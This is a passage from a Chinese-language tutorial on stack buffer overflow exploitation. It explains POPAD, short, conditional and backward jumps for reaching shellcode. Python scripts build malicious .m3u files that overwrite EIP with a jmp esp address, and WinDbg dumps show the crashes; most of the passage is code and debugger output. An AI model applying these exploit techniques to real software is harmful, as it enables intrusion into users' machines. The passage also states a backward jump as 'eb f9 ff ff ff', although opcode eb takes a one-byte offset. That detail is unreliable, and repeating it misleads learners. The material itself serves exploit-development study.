cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
<Unloaded_POOL.DRV>+0xffdb3:
000ffdb4 cc int 3
0:000> d esp
000ffda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdb4 cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ffdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffde4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffdf4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe04 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe14 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
把 shellcode
替换成之前用到的 Payload,生成文件并用软件打开:
PWNED!
0x07 POPAD
popad (pop all double)
指令也可以跳转到 shellcode。 popad
指令会通过一次操作将双字从栈中弹出到通用寄存器中,并按以下顺序加载:EDI、ESI、EBP、ESP、EBX、EDX、ECX、EAX。因此,一个 popad
将从栈顶获取 32 个字节,ESP 寄存器会增加32。假如要在栈中跳过 40 个字节,并且操作空间有限,就可以使用 2 个 popad
将 ESP 指向以 NOP
开头的 shellcode 。
修改脚本构建一个假想缓冲区,该缓冲区将在ESP上放置13个 x
,后面接上一些垃圾数据,最后放置 shellcode。
filename = 'popad.m3u'
buffersize = 26079
junk = b"a" * 50
nop = b'\x90' * 50
shellcode = b'\xcc'
padding = b"s" * (buffersize - 50 - 50 - len(shellcode))
eip = b"bbbb"
preshellcode = b"x" * (13+4) # 假设这是唯一可用的空间
garbage = b"d" * 50 # 假设这是要跳过的空间
file = open(filename, "wb")
file.write(junk + nop + shellcode + padding + eip + preshellcode + garbage)
file.close()
生成文件后打开,崩溃后的栈空间如下:
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=00006626
eip=62626262 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
62626262 ?? ???
0:000> d esp
000ffd38 78 78 78 78 78 78 78 78-78 78 78 78 78 64 64 64 xxxxxxxxxxxxxddd | => 13字节
000ffd48 64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 64 dddddddddddddddd | => garbage
000ffd58 64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 64 dddddddddddddddd | => garbage
000ffd68 64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 00 ddddddddddddddd. | => garbage
000ffd78 61 61 61 61 61 61 61 61-61 61 90 90 90 90 90 90 aaaaaaaaaa...... | => garbage
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ | => NOPs
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ | => NOPs
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 cc 73 73 73 .............sss | => Shellcode
现在要使用 ESP 指向的13个字节来跳过:13字节本身、50字节的 d
和10字节的 a
(总共74字节),目的是从 NOP
开始执行 shellcode
,在 cc
处中断。
popad
= 32 字节 ,所以 74 字节 = 3 * popad
- 22
首先使用 jmp esp
覆盖 EIP,然后把 x
的区域替代为三个 popad
的 Opcode,后面接上 jmp esp
的 Opcode,最后补上 NOP
指令。
import pwn
filename = 'popad.m3u'
buffersize = 26079
junk = b"a" * 50
nop = b'\x90' * 50
shellcode = b'\xcc'
padding = b"s" * (buffersize - 50 - 50 - len(shellcode))
eip = pwn.p32(0x01b7f23a)
preshellcode = b"x" * 4
preshellcode += b'\x61' * 3 # 三个 popad
preshellcode += b"\xff\xe4" # jmp esp
preshellcode += b'\x90' * 9 # 补充滑板指令
garbage = b"d" * 50 # 假设这是要跳过的空间
file = open(filename, "wb")
file.write(junk + nop + shellcode + padding + eip + preshellcode + garbage)
file.close()
打开文件后,崩溃现场和预期一致。
eax=90909090 ebx=90909090 ecx=90909090 edx=90909090 esi=61616161 edi=61616100
eip=000ffdb4 esp=000ffd98 ebp=90906161 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
<Unloaded_POOL.DRV>+0xffdb3:
000ffdb4 cc int 3
0:000> d esp
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 cc 73 73 73 .............sss
000ffdb8 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffdc8 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffdd8 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffde8 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffdf8 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffe08 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
0:000> d eip
000ffdb4 cc 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 .sssssssssssssss
000ffdc4 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffdd4 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffde4 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffdf4 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffe04 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffe14 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
000ffe24 73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73 ssssssssssssssss
把 Shellcode
替换为之前用到的 Payload,生成文件后用软件打开:
PWNED!
0x08 短跳转和条件跳转
如果只需要跳过几个字节,则可以使用以下几种 短跳转
技术来完成此操作:
-
短跳转:Opcode 是
eb
,如果要跳转30个字节,则 Opcode 为eb 1e
-
条件跳转:如果满足条件,则跳转。此技术基于
EFLAGS
寄存器(CF、OF、PF、SF 和 ZF)中一个或多个状态标志位。 如果标志位处于指定的状态,则可以跳转到目标操作数指定的目标指令。
了解更多 Opcode 为两字节的跳转指令,点击这里。
0x09 后向跳转
如果需要执行后向跳转(偏移量为负):将负数转换为双字十六进制,并将其用作跳转的参数(eb
或 e9
)。
反向跳转 7 字节: -7 = FFFFFFF9,因此 jmp -7
是 eb f9 ff ff ff
。
反向跳转 400 字节: -400 = FFFFFE70,所以 jmp -400
是 e9 70 fe ff ff
。
此操作码的长度为 5 字节。 如果要保持在 4 字节内,则需要执行多个短跳转才能到达想要的位置。